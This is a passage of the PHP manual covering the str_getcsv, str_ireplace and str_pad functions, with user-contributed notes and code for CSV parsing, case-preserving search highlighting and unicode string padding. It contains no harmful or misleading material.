  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
khelibert at gmail dot com 05-Sep-2012 01:42
I've written this to handle :
- fields with or without enclosure;
- escape and enclosure characters using the same character (ie <<">> in Excel)

<?php
/**
             * Converts a csv file into an array of lines and columns.
             * khelibert@gmail.com
             * @param $fileContent String
             * @param string $escape String
             * @param string $enclosure String
             * @param string $delimiter String
             * @return array
             */
            function csvToArray($fileContent,$escape = '\\', $enclosure = '"', $delimiter = ';')
            {
                $lines = array();
                $fields = array();

                if($escape == $enclosure)
                {
                    $escape = '\\';
                    $fileContent = str_replace(array('\\',$enclosure.$enclosure,"\r\n","\r"),
                                array('\\\\',$escape.$enclosure,"\\n","\\n"),$fileContent);
                }
                else
                    $fileContent = str_replace(array("\r\n","\r"),array("\\n","\\n"),$fileContent);

                $nb = strlen($fileContent);
                $field = '';
                $inEnclosure = false;
                $previous = '';

                for($i = 0;$i<$nb; $i++)
                {
                    $c = $fileContent[$i];
                    if($c === $enclosure)
                    {
                        if($previous !== $escape)
                            $inEnclosure ^= true;
                        else
                            $field .= $enclosure;
                    }
                    else if($c === $escape)
                    {
                        $next = $fileContent[$i+1];
                        if($next != $enclosure && $next != $escape)
                            $field .= $escape;
                    }
                    else if($c === $delimiter)
                    {
                        if($inEnclosure)
                            $field .= $delimiter;
                        else
                        {
                            //end of the field
                            $fields[] = $field;
                            $field = '';
                        }
                    }
                    else if($c === "\n")
                    {
                        $fields[] = $field;
                        $field = '';
                        $lines[] = $fields;
                        $fields = array();
                    }
                    else
                        $field .= $c;
                    $previous = $c;
                }
                //we add the last element
                if(true || $field !== '')
                {
                    $fields[] = $field;
                    $lines[] = $fields;
                }
                return $lines;
            }
?>
xoneca at gmail dot com 27-Nov-2011 01:26
Note that this function can also be used to parse other types of constructions. For example, I have used to parse .htaccess AddDescription lines:

    AddDescription "My description to the file." filename.jpg

Those lines can be parsed like this:

<?php

$line = 'AddDescription "My description to the file." filename.jpg';

$parsed = str_getcsv(
    $line, # Input line
    ' ',   # Delimiter
    '"',   # Enclosure
    '\\'   # Escape char
);

var_dump( $parsed );

?>

The output:

array(3) {
  [0]=>
  string(14) "AddDescription"
  [1]=>
  string(27) "My description to the file."
  [2]=>
  string(12) "filename.jpg"
}
durik at 3ilab dot net 16-Jan-2011 08:39
As the str_getcsv(), unlike to fgetcsv(), does not parse the rows in CSV string, I have found following easy workaround:

<?php
$Data = str_getcsv($CsvString, "\n"); //parse the rows
foreach($Data as &$Row) $Row = str_getcsv($Row, ";"); //parse the items in rows
?>

Why not use explode() instead of str_getcsv() to parse rows? Because explode() would not treat possible enclosured parts of string or escaped characters correctly.
Anonymous 25-Oct-2010 09:25
If your version of PHP doesn't have `str_getcsv` and you don't need custom $escape or $eol values, try this:

<?php if (!function_exists('str_getcsv')) {

function str_getcsv($input, $delimiter=',', $enclosure='"', $escape=null, $eol=null) {
  $temp=fopen("php://memory", "rw");
  fwrite($temp, $input);
  fseek($temp, 0);
  $r = array();
  while (($data = fgetcsv($temp, 4096, $delimiter, $enclosure)) !== false) {
    $r[] = $data;
  }
  fclose($temp);
  return $r;
}

} ?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (depely AT IAMNOTABOT prestaconcept.net) on 04-MAR-2011 with the following note: "The previous anonymous function only read the first line".]
Jay Williams 10-Aug-2010 10:50
Here is a quick and easy way to convert a CSV file to an associated array:

<?php
/**
 * @link http://gist.github.com/385876
 */
function csv_to_array($filename='', $delimiter=',')
{
    if(!file_exists($filename) || !is_readable($filename))
        return FALSE;

    $header = NULL;
    $data = array();
    if (($handle = fopen($filename, 'r')) !== FALSE)
    {
        while (($row = fgetcsv($handle, 1000, $delimiter)) !== FALSE)
        {
            if(!$header)
                $header = $row;
            else
                $data[] = array_combine($header, $row);
        }
        fclose($handle);
    }
    return $data;
}

?>
hpartidas at deuz dot net 25-May-2010 06:50
I found myself wanting to parse a CSV and didn't have access to str_getcsv, so I wrote substitute for PHP < 5.3, hope it helps someone out there stuck in the same situation.

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\', $eol = '\n') {
        if (is_string($input) && !empty($input)) {
            $output = array();
            $tmp    = preg_split("/".$eol."/",$input);
            if (is_array($tmp) && !empty($tmp)) {
                while (list($line_num, $line) = each($tmp)) {
                    if (preg_match("/".$escape.$enclosure."/",$line)) {
                        while ($strlen = strlen($line)) {
                            $pos_delimiter       = strpos($line,$delimiter);
                            $pos_enclosure_start = strpos($line,$enclosure);
                            if (
                                is_int($pos_delimiter) && is_int($pos_enclosure_start)
                                && ($pos_enclosure_start < $pos_delimiter)
                                ) {
                                $enclosed_str = substr($line,1);
                                $pos_enclosure_end = strpos($enclosed_str,$enclosure);
                                $enclosed_str = substr($enclosed_str,0,$pos_enclosure_end);
                                $output[$line_num][] = $enclosed_str;
                                $offset = $pos_enclosure_end+3;
                            } else {
                                if (empty($pos_delimiter) && empty($pos_enclosure_start)) {
                                    $output[$line_num][] = substr($line,0);
                                    $offset = strlen($line);
                                } else {
                                    $output[$line_num][] = substr($line,0,$pos_delimiter);
                                    $offset = (
                                                !empty($pos_enclosure_start)
                                                && ($pos_enclosure_start < $pos_delimiter)
                                                )
                                                ?$pos_enclosure_start
                                                :$pos_delimiter+1;
                                }
                            }
                            $line = substr($line,$offset);
                        }
                    } else {
                        $line = preg_split("/".$delimiter."/",$line);

                        /*
                         * Validating against pesky extra line breaks creating false rows.
                         */
                        if (is_array($line) && !empty($line[0])) {
                            $output[$line_num] = $line;
                        }
                    }
                }
                return $output;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }
}
?>
Raymond 15-Dec-2009 02:49
Here's a little function to convert a multi-line CSV string to an array:

<?php
function csv_to_array($csv, $delimiter = ',', $enclosure = '"', $escape = '\\', $terminator = "\n") {
    $r = array();
    $rows = explode($terminator,trim($csv));
    $names = array_shift($rows);
    $names = str_getcsv($names,$delimiter,$enclosure,$escape);
    $nc = count($names);
    foreach ($rows as $row) {
        if (trim($row)) {
            $values = str_getcsv($row,$delimiter,$enclosure,$escape);
            if (!$values) $values = array_fill(0,$nc,null);
            $r[] = array_combine($names,$values);
        }
    }
    return $r;
}
?>
dave_walter at yahoo dot com 04-Jun-2009 06:51
Just to clarify, my str_putcsv() function was only ever designed to complement the functionality of the str_getcsv() built-in function, which can only handle converting one line of input into a single level array. For example, this code:

<?php
    var_dump( str_getcsv( "a,b,c\nd,e,f", "," ));
?>

generates this output:

array(5) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(3) "c
    d"
    [3]=>
    string(1) "e"
    [4]=>
    string(1) "f"
}

Even fgetcsv() and fputcsv() only work with a single line. All the examples show them being used within a loop of some sort.

I was also avoiding the artificial restriction on the length of the CSV string introduced by Ulf's modification.
Ulf 28-May-2009 03:24
As Dave's function also had the problem with only one line being returned here's a slightly changed version:

<?php
function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
  // Open a memory "file" for read/write...
  $fp = fopen('php://temp', 'r+');
  // ... write the $input array to the "file" using fputcsv()...
  fputcsv($fp, $input, $delimiter, $enclosure);
  // ... rewind the "file" so we can read what we just wrote...
  rewind($fp);
  // ... read the entire line into a variable...
  $data = fread($fp, 1048576); // [changed]
  // ... close the "file"...
  fclose($fp);
  // ... and return the $data to the caller, with the trailing newline from fgets() removed.
  return rtrim( $data, "\n" );
}
?>
It assumes that one line won't exceed 1Mb of data. That should be more than enough.
Anonymous 17-Mar-2009 07:02
For some reason o'connor's code only reads one line of a csv for me... I had to replace the line

      $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

with this:

      $data;
      while (!feof($fp))
      {
        $data[] = fgetcsv($fp, 0, $delimiter, $enclosure); //  $escape only got added in 5.3.0
      }

...to get all of the data out of my string (some post data pasted into a textbox and processed only with stripslashes).
dave_walter at NOSPAM dot yahoo dot com 07-Feb-2009 12:32
Drawing inspiration from daniel dot oconnor at gmail dot com, here's an alternative str_putcsv() that leverages existing PHP core functionality (5.1.0+) to avoid re-inventing the wheel.

<?php
if(!function_exists('str_putcsv')) {
    function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
        // Open a memory "file" for read/write...
        $fp = fopen('php://temp', 'r+');
        // ... write the $input array to the "file" using fputcsv()...
        fputcsv($fp, $input, $delimiter, $enclosure);
        // ... rewind the "file" so we can read what we just wrote...
        rewind($fp);
        // ... read the entire line into a variable...
        $data = fgets($fp);
        // ... close the "file"...
        fclose($fp);
        // ... and return the $data to the caller, with the trailing newline from fgets() removed.
        return rtrim( $data, "\n" );
    }
}
?>
Jeremy 21-Jan-2009 02:20
After using several methods in the past to create CSV strings without using files (disk IO sucks), I finally decided it's time to write a function to handle it all. This function could use some cleanup, and the variable type test might be overkill for what is needed, I haven't thought about it too much.

Also, I took the liberty of replacing fields with certain data types with strings which I find much easier to work with. Some of you may not agree with those. Also, please note that the type "double" or float has been coded specifically for two digit precision because if I am using a float, it's most likely for currency.

I am sure some of you out there would appreciate this function.

<?php
    function str_putcsv($array, $delimiter = ',', $enclosure = '"', $terminator = "\n") {
        # First convert associative array to numeric indexed array
        foreach ($array as $key => $value) $workArray[] = $value;

        $returnString = '';                 # Initialize return string
        $arraySize = count($workArray);     # Get size of array

        for ($i=0; $i<$arraySize; $i++) {
            # Nested array, process nest item
            if (is_array($workArray[$i])) {
                $returnString .= str_putcsv($workArray[$i], $delimiter, $enclosure, $terminator);
            } else {
                switch (gettype($workArray[$i])) {
                    # Manually set some strings
                    case "NULL":     $_spFormat = ''; break;
                    case "boolean":  $_spFormat = ($workArray[$i] == true) ? 'true': 'false'; break;
                    # Make sure sprintf has a good datatype to work with
                    case "integer":  $_spFormat = '%i'; break;
                    case "double":   $_spFormat = '%0.2f'; break;
                    case "string":   $_spFormat = '%s'; break;
                    # Unknown or invalid items for a csv - note: the datatype of array is already handled above, assuming the data is nested
                    case "object":
                    case "resource":
                    default:         $_spFormat = ''; break;
                }
                                $returnString .= sprintf('%2$s'.$_spFormat.'%2$s', $workArray[$i], $enclosure);
$returnString .= ($i < ($arraySize-1)) ? $delimiter : $terminator;
            }
        }
        # Done the workload, return the output information
        return $returnString;
    }

?>
daniel dot oconnor at gmail dot com 20-Jan-2009 01:48
Don't have this? Ask fgetcsv() to do it for you.

5.1.0+

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ",", $enclosure = '"', $escape = "\\") {
        $fiveMBs = 5 * 1024 * 1024;
        $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
        fputs($fp, $input);
        rewind($fp);

        $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

        fclose($fp);
        return $data;
    }
}
?>
william dot j dot weir at gmail dot com 18-Sep-2008 12:19
If your happy enough having just a multi-dimensional array, this should work fine. I had wanted to use the one provided by keananda but it was choking on pr($lines).

<?php
function f_parse_csv($file, $longest, $delimiter) {
  $mdarray = array();
  $file    = fopen($file, "r");
  while ($line = fgetcsv($file, $longest, $delimiter)) {
    array_push($mdarray, $line);
    }
  fclose($file);
  return $mdarray;
  }
?>

$longest is a number that represents the longest line in the csv file as required by fgetcsv().  The page for fgetcsv() said that the longest line could be set to 0 or left out, but I couldn't get it to work without. I just made it extra large when I had to use it.
keananda at gmail dot com 15-Sep-2008 01:29
For those who need this function but not yet installed in their environment, you can use my function bellow.

You can parse your csv file into an associative array (by default) for each lines, or into an object.
<?php
function parse_csv($file, $options = null) {
    $delimiter = empty($options['delimiter']) ? "," : $options['delimiter'];
    $to_object = empty($options['to_object']) ? false : true;
    $str = file_get_contents($file);
    $lines = explode("\n", $str);
    pr($lines);
    $field_names = explode($delimiter, array_shift($lines));
    foreach ($lines as $line) {
        // Skip the empty line
        if (empty($line)) continue;
        $fields = explode($delimiter, $line);
        $_res = $to_object ? new stdClass : array();
        foreach ($field_names as $key => $f) {
            if ($to_object) {
                $_res->{$f} = $fields[$key];
            } else {
                $_res[$f] = $fields[$key];
            }
        }
        $res[] = $_res;
    }
    return $res;
}
?>

NOTE:
Line number 1 of the csv file will be considered as header (field names).

TODO:
- Enclosure handling
- Escape character handling
- Other features/enhancements as you need

EXAMPLE USE:
Content of /path/to/file.csv:
CODE,COUNTRY
AD,Andorra
AE,United Arab Emirates
AF,Afghanistan
AG,Antigua and Barbuda

<?php
$arr_csv = parse_csv("/path/to/file.csv");
print_r($arr_csv);
?>
// Output:
Array
(
    [0] => Array
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => Array
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => Array
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => Array
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
)

<?php
$obj_csv = parse_csv("/path/to/file.csv", array("to_object" => true));
print_r($obj_csv);
?>
// Output:
Array
(
    [0] => stdClass Object
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => stdClass Object
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => stdClass Object
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => stdClass Object
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
    [4] => stdClass Object
        (
            [CODE] =>
            [COUNTRY] =>
        )
)

// If you use character | (pipe) as delimiter in your csv file, use:
<?php
$arr_csv = parse_csv("/path/to/file.csv", array("delimiter"=>"|"));
?>

==NSD==
csv at rfc dot org 05-May-2008 10:15
RFC 4180 which deals with CSVs states the escape character is supposed to be a double quotation mark: (page 2)
   7.  If double-quotes are used to enclose fields, then a double-quote
       appearing inside a field must be escaped by preceding it with
       another double quote.  For example:

       "aaa","b""bb","ccc"
peev[dot]alexander at gmail dot com 20-Apr-2008 11:22
CSV parsing and storage is not that hard to implement - see my example functions ( I believe they do a pretty good job - I use them in a production environment ):

<?php

if( !function_exists("parse_csv") ){
    function parse_csv($string){
/* Author : Alexander Peev, posted at PHP.NET */
        if( !function_exists("parse_csv_aux") ){
            function parse_csv_aux( $string ){
                $product = "";
                $in_quote = FALSE;
                $skipped_quote = FALSE;
                for(  $i = 0 ; $i < strlen($string) ; $i++  ){
                    if( $string{$i} == "\"" ){
                        if($in_quote){
                            if($skipped_quote){
                                $product .= "\"";
                                $skipped_quote = FALSE;
                            }
                            else if( !$skipped_quote ){
                                $skipped_quote = TRUE;
                            }
                        }
                        else{
                            if($skipped_quote) $skipped_quote = FALSE;
                            $in_quote = TRUE;
                        }
                    }
                    else if( $string{$i} == ";" ){
                        if($in_quote){
                            $product .= ";";
                        }
                        else{
                            $product .= " ; ";
                        }
                    }
                    else{
                        if($in_quote){
                            $in_quote = FALSE;
                            $product .= $string{$i};
                        }
                        else{
                            $product .= $string{$i};
                        }
                    }
                }
                return $product;
            }
        }
        $data = array();
        if(  is_string($string) && ( stripos($string, "\n") !== FALSE )  ){
            $data = explode("\n", parse_csv_aux($string) );
            foreach($data as $key => $row){
                $columns = array();
                //$row = strtr(  $row, array( "\";\"" => "\";\"", ";" => " ; " )  );
                if( stripos($row, " ; ") !== FALSE ){
                    $columns = explode( " ; ", $row );
                    if( !is_array($columns) )$columns = array( strval($columns) );
                    $data[$key] = $columns;
                }
            }
            return $data;
        }
        else if(  is_string($string) && ( stripos( ($string =  parse_csv_aux($string)), " ; ") !== FALSE )  ){
            $columns = explode( " ; ", $string );
            if( !is_array($columns) )$columns = array( strval($columns) );
            return array($columns);
        }
        else return strval($string);
    } /* end function parse_csv */
} /* end not function exists parse_csv */

if( !function_exists("store_csv") ){
    function store_csv($data){
/* Author : Alexander Peev, posted at PHP.NET */
        if( !function_exists("store_csv_aux") ){
            function store_csv_aux( $string ){
                $string = strtr( $string, array( "\n" => "" ) );
                $product = "";
                $in_quote = FALSE;
                for(  $i = 0 ; $i < strlen($string) ; $i++  ){
                    if( $string{$i} == "\"" ){
                        if($in_quote){
                            $product .= "\"\"";
                        }
                        else{
                            $product .= "\"\"\"";
                            $in_quote = TRUE;
                        }
                    }
                    else if( $string{$i} == ";" ){
                        if($in_quote){
                            $product .= ";";
                        }
                        else{
                            $product .= "\";";
                            $in_quote = TRUE;
                        }
                    }
                    else{
                        if($in_quote){
                            $product .= "\"";
                            $in_quote = FALSE;
                            $product .= $string{$i};
                        }
                        else{
                            $product .= $string{$i};
                        }
                    }
                }
                if($in_quote)$product .= "\"";
                return $product;
            }
        }
        if(!is_array($data))return strval($data);
        $passed_rows = FALSE;
        $product = "";
        foreach($data as $row){
            if( $passed_rows )$product .= "\n";
            if( is_array($row) ){
                $columns = "";
                $passed_cols = FALSE;
                foreach($row as $column){
                    if( $passed_cols )$columns .= ";";
                    $columns .= store_csv_aux( $column );
                    $passed_cols =TRUE;
                }
                $product .= strval($columns);
            }
            else{
                $product .= strtr( strval($row), array("\n" => "") );
            }
            $passed_rows = TRUE;
        }
        return $product;
    } /* end function store_csv */
} /* end not function exists store_csv */

?>


Case-insensitive version of str_replace.

  • « str_getcsv
  • str_pad »
  • PHP Manual
  • String Functions
  • Case-insensitive version of str_replace.

str_ireplace

(PHP 5)

str_ireplace — Case-insensitive version of str_replace().

Description

mixed str_ireplace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

This function returns a string or an array with all occurrences of search in subject (ignoring case) replaced with the given replace value. If you don't need fancy replacing rules, you should generally use this function instead of preg_replace() with the i modifier.

Parameters

If search and replace are arrays, then str_ireplace() takes a value from each array and uses them to search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though.

If search or replace are arrays, their elements are processed first to last.

search

The value being searched for, otherwise known as the needle. An array may be used to designate multiple needles.

replace

The replacement value that replaces found search values. An array may be used to designate multiple replacements.

subject

The string or array being searched and replaced on, otherwise known as the haystack.

If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well.

count

If passed, this will be set to the number of replacements performed.

Return Values

Returns a string or an array of replacements.

Examples

Example #1 str_ireplace() example

<?php
$bodytag = str_ireplace("%body%", "black", "<body text=%BODY%>");
?>

Notes

Note: This function is binary-safe.

Caution

Replacement order gotcha

Because str_ireplace() replaces left to right, it might replace a previously inserted value when doing multiple replacements. Example #2 in the str_replace() documentation demonstrates how this may affect you in practice.

See Also

  • str_replace() - Replace all occurrences of the search string with the replacement string
  • preg_replace() - Perform a regular expression search and replace
  • strtr() - Translate characters or replace substrings

User Contributed Notes

Psudo - thepsudo at gmail dot com 30-Jun-2011 06:53
For highlighting without the overhead of regex and without destroying capitalization, try this:

<?php
function highlight($needle, $haystack){
    $ind = stripos($haystack, $needle);
    $len = strlen($needle);
    if($ind !== false){
        return substr($haystack, 0, $ind) . "<b>" . substr($haystack, $ind, $len) . "</b>" .
            highlight($needle, substr($haystack, $ind + $len));
    } else return $haystack;
}
?>

This example uses HTML bold tags, but you can easily change the highlighting method.
holblin at holblin dot com 09-Mar-2011 10:11
Warning with highlighting ...

I used :

<?php
$text = preg_replace('/('.$q.')/i','<span class=highlighting "">$1</span>' , $text);
?>

Because this line do not allow to highlight uppercase and lowercase correctly (transform uppercase to lowercase for exemple)

<?php
 $text = str_ireplace( $q , '<span class=highlighting "">'.$q.'</span>', $text);
?>

But when $q contain some regex you have some problems ... for exemple :
<?php $q = '('; ?>

So you must use preg_replace to highlight correctly the text and you must create a function for escape bad regex caracters !

I think that a better function can be found but this works I guess :

<?php
function regex_escape( $q )
{
    return preg_replace('/([\[\]\(\)\{\}\-\.\*\?\|\^\$])/', '\$1', $q);
}
?>
stepanic dot matija at gmail dot com 22-Oct-2010 05:57
FIX-ed problem with highlighting second 'o' OR 'a', in this string

<?php
function highlight_string ($haystack, $needle, $highlight_class) {
         // return $haystack if there is no highlight color or strings given, nothing to do.

        $first_encode='XXXXXXXXXXXXXXX';     //ENCODE string

        $second_encode='YYYYYYYYYYYYYYY';

        preg_match_all("/$needle+/i", $haystack, $matches);
        if (is_array($matches[0]) && count($matches[0]) >= 1) {
            foreach ($matches[0] as $match) {
                $haystack = str_replace($match, $first_encode.$match.$second_encode, $haystack);
            }
        }

        $haystack=str_replace(array($first_encode,$second_encode),
array('<font class="'.$highlight_class.'" >','</font>'),$haystack);

        return $haystack;
}
?>
triplepoint at gmail dot com 23-Sep-2010 07:06
Regarding maintaining the case of the find/replace for search-highlighting purposes:

if the performance hit of a regular expression isn't a big problem, there's something like:

<?php
function highlight_matches($find_text, $text) {
  return preg_replace("/($find_text)/i", '<span class="search_item">$1</span>', $text);
}
?>
ishutko at gmail dot com 16-Mar-2009 10:49
For function work with cirilic

setlocale (LC_ALL, 'ru_RU');
sawdust 04-Dec-2008 04:28
Here's a different approach to search result keyword highlighting that will match all keyword sub strings in a case insensitive manner and preserve case in the returned text. This solution first grabs all matches within $haystack in a case insensitive manner, and the secondly loops through each of those matched sub strings and applies a case sensitive replace in $haystack. This way each unique (in terms of case) instance of $needle is operated on individually allowing a case sensitive replace to be done in order to preserve the original case of each unique instance of $needle.

<?php
function highlightStr($haystack, $needle, $highlightColorValue) {
     // return $haystack if there is no highlight color or strings given, nothing to do.
    if (strlen($highlightColorValue) < 1 || strlen($haystack) < 1 || strlen($needle) < 1) {
        return $haystack;
    }
    preg_match_all("/$needle+/i", $haystack, $matches);
    if (is_array($matches[0]) && count($matches[0]) >= 1) {
        foreach ($matches[0] as $match) {
            $haystack = str_replace($match, '<span style="background-color:'.$highlightColorValue.';">'.$match.'</span>', $haystack);
        }
    }
    return $haystack;
}
?>
Michael dot Bond at mail dot wvu dot edu 14-Nov-2008 03:44
This function will highlight search terms (Key Words in Context).

The difference between this one and the ones below is that it will preserve the original case of the search term as well. So, if you search for "american" but in the original string it is "American" it will retain the capital "A" as well as the correct case for the rest of the string.

<?php
function kwic($str1,$str2) {

    $kwicLen = strlen($str1);

    $kwicArray = array();
    $pos          = 0;
    $count       = 0;

    while($pos !== FALSE) {
        $pos = stripos($str2,$str1,$pos);
        if($pos !== FALSE) {
            $kwicArray[$count]['kwic'] = substr($str2,$pos,$kwicLen);
            $kwicArray[$count++]['pos']  = $pos;
            $pos++;
        }
    }

    for($I=count($kwicArray)-1;$I>=0;$I--) {
        $kwic = '<span class="kwic">'.$kwicArray[$I]['kwic'].'</span>';
        $str2 = substr_replace($str2,$kwic,$kwicArray[$I]['pos'],$kwicLen);
    }

    return($str2);
}
?>
hfuecks at nospam dot org 04-Jul-2005 11:07
Note that character case is being defined by your server's locale setting, which effects strings containing non-ASCII characters.

See strtolower() - http://www.php.net/strtolower and comments - internally str_ireplace converts $search and $replace to lowercase to find matches.
daevid at daevid dot com 05-Apr-2005 10:14
here's a neat little function I whipped up to do HTML color coding of SQL strings.

<?php
/**
 * Output the HTML debugging string in color coded glory for a sql query
 * This is very nice for being able to see many SQL queries
 * @access     public
 * @return     void. prints HTML color coded string of the input $query.
 * @param     string $query The SQL query to be executed.
 * @author     Daevid Vincent [daevid@LockdownNetworks.com]
 *  @version     1.0
 * @date        04/05/05
 * @todo     highlight SQL functions.
 */
function SQL_DEBUG( $query )
{
    if( $query == '' ) return 0;

    global $SQL_INT;
    if( !isset($SQL_INT) ) $SQL_INT = 0;

    //[dv] this has to come first or you will have goofy results later.
    $query = preg_replace("/['\"]([^'\"]*)['\"]/i", "'<FONT COLOR='#FF6600'>$1</FONT>'", $query, -1);

    $query = str_ireplace(
                            array (
                                    '*',
                                    'SELECT ',
                                    'UPDATE ',
                                    'DELETE ',
                                    'INSERT ',
                                    'INTO',
                                    'VALUES',
                                    'FROM',
                                    'LEFT',
                                    'JOIN',
                                    'WHERE',
                                    'LIMIT',
                                    'ORDER BY',
                                    'AND',
                                    'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-)
                                    'DESC',
                                    'ASC',
                                    'ON '
                                  ),
                            array (
                                    "<FONT COLOR='#FF6600'><B>*</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>SELECT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>UPDATE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>DELETE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INSERT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INTO</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>VALUES</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>FROM</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>LEFT</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>JOIN</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>WHERE</B></FONT>",
                                    "<FONT COLOR='#AA0000'><B>LIMIT</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>ORDER BY</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>AND</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>OR</B> </FONT>",
                                    "<FONT COLOR='#0000AA'><B>DESC</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>ASC</B></FONT>",
                                    "<FONT COLOR='#00DD00'><B>ON</B> </FONT>"
                                  ),
                            $query
                          );

    echo "<FONT COLOR='#0000FF'><B>SQL[".$SQL_INT."]:</B> ".$query."<FONT COLOR='#FF0000'>;</FONT></FONT><BR>\n";

    $SQL_INT++;

} //SQL_DEBUG
?>
aidan at php dot net 30-May-2004 07:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Pad a string to a certain length with another string

  • « str_ireplace
  • str_repeat »
  • PHP Manual
  • String Functions
  • Pad a string to a certain length with another string

str_pad

(PHP 4 >= 4.0.1, PHP 5)

str_pad — Pad a string to a certain length with another string

Description

string str_pad ( string $input , int $pad_length [, string $pad_string = " " [, int $pad_type = STR_PAD_RIGHT ]] )

This functions returns the input string padded on the left, the right, or both sides to the specified padding length. If the optional argument pad_string is not supplied, the input is padded with spaces, otherwise it is padded with characters from pad_string up to the limit.

Parameters

input

The input string.

pad_length

If the value of pad_length is negative, less than, or equal to the length of the input string, no padding takes place.

pad_string

Note:

The pad_string may be truncated if the required number of padding characters can't be evenly divided by the pad_string's length.

pad_type

Optional argument pad_type can be STR_PAD_RIGHT, STR_PAD_LEFT, or STR_PAD_BOTH. If pad_type is not specified it is assumed to be STR_PAD_RIGHT.

Return Values

Returns the padded string.

Examples

Example #1 str_pad() example

<?php
$input = "Alien";
echo str_pad($input, 10);                      // produces "Alien     "
echo str_pad($input, 10, "-=", STR_PAD_LEFT);  // produces "-=-=-Alien"
echo str_pad($input, 10, "_", STR_PAD_BOTH);   // produces "__Alien___"
echo str_pad($input, 6 , "___");               // produces "Alien_"
?>

User Contributed Notes

nehuensd at gmail dot com 14-May-2014 02:29
if the length of the pad is less than or equal to the string, the original string will be returned
<?php
    echo(str_pad("abcd", 2, "-", STR_PAD_LEFT)."<br>");
    echo(str_pad("abcd", 4, "-", STR_PAD_LEFT)."<br>");
    echo(str_pad("abcd", 6, "-", STR_PAD_LEFT)."<br>");

Output:
abcd
abcd
--abcd
Balthazar Mondragoni 20-Jan-2014 11:57
A heads up - warning for new coders:

STR_PAD_RIGHT,    STR_PAD_LEFT and   STR_PAD_BOTH
must be used  in UPPER CASE.

I've added this because the documentation at the top of the page doesn't make it explicit, and a few of my students have scratched their heads for half-an-hour or more because they couldn't figure it out.
Balthazar Mondragoni 20-Jan-2014 11:56
A heads up - warning for new coders:

STR_PAD_RIGHT,    STR_PAD_LEFT and   STR_PAD_BOTH
must be used  in UPPER CASE.

I've added this because the documentation at the top of the page doesn't make it explicit, and a few of my students have scratched their heads for half-an-hour or more because they couldn't figure it out.
Mohammad Nabil 23-Dec-2013 06:16
To pad with complete HTML &amp; or &nbsp;

function padString($string, $repetition, $count, $direction) {
        $length = strlen($string);

        for ($i = 0; $i < $count - $length; $i++) {
            if ($direction == STR_PAD_LEFT) {
                $string = $repetition . $string;
            } else {//STR_PAD_RIGHT
                $string = $string . $repetition;
            }
        }
        return $string;
    }

padString("Text",  "&nbsp;", 10, STR_PAD_LEFT)
qeremy [atta] gmail [dotta] com 20-Jan-2013 10:44
A proper unicode string padder;

<?php
mb_internal_encoding('utf-8'); // @important

function str_pad_unicode($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT) {
    $str_len = mb_strlen($str);
    $pad_str_len = mb_strlen($pad_str);
    if (!$str_len && ($dir == STR_PAD_RIGHT || $dir == STR_PAD_LEFT)) {
        $str_len = 1; // @debug
    }
    if (!$pad_len || !$pad_str_len || $pad_len <= $str_len) {
        return $str;
    }

    $result = null;
    $repeat = ceil($str_len - $pad_str_len + $pad_len);
    if ($dir == STR_PAD_RIGHT) {
        $result = $str . str_repeat($pad_str, $repeat);
        $result = mb_substr($result, 0, $pad_len);
    } else if ($dir == STR_PAD_LEFT) {
        $result = str_repeat($pad_str, $repeat) . $str;
        $result = mb_substr($result, -$pad_len);
    } else if ($dir == STR_PAD_BOTH) {
        $length = ($pad_len - $str_len) / 2;
        $repeat = ceil($length / $pad_str_len);
        $result = mb_substr(str_repeat($pad_str, $repeat), 0, floor($length))
                    . $str
                       . mb_substr(str_repeat($pad_str, $repeat), 0, ceil($length));
    }

    return $result;
}
?>

Test;
<?php
// needs ie. "test.php" file encoded in "utf-8 without bom"
$s = '...';
for ($i = 3; $i <= 1000; $i++) {
    $s1 = str_pad($s, $i, 'AO', STR_PAD_BOTH); // can not inculde unicode char!!!
    $s2 = str_pad_unicode($s, $i, 'ÄÖ', STR_PAD_BOTH);
    $sl1 = strlen($s1);
    $sl2 = mb_strlen($s2);
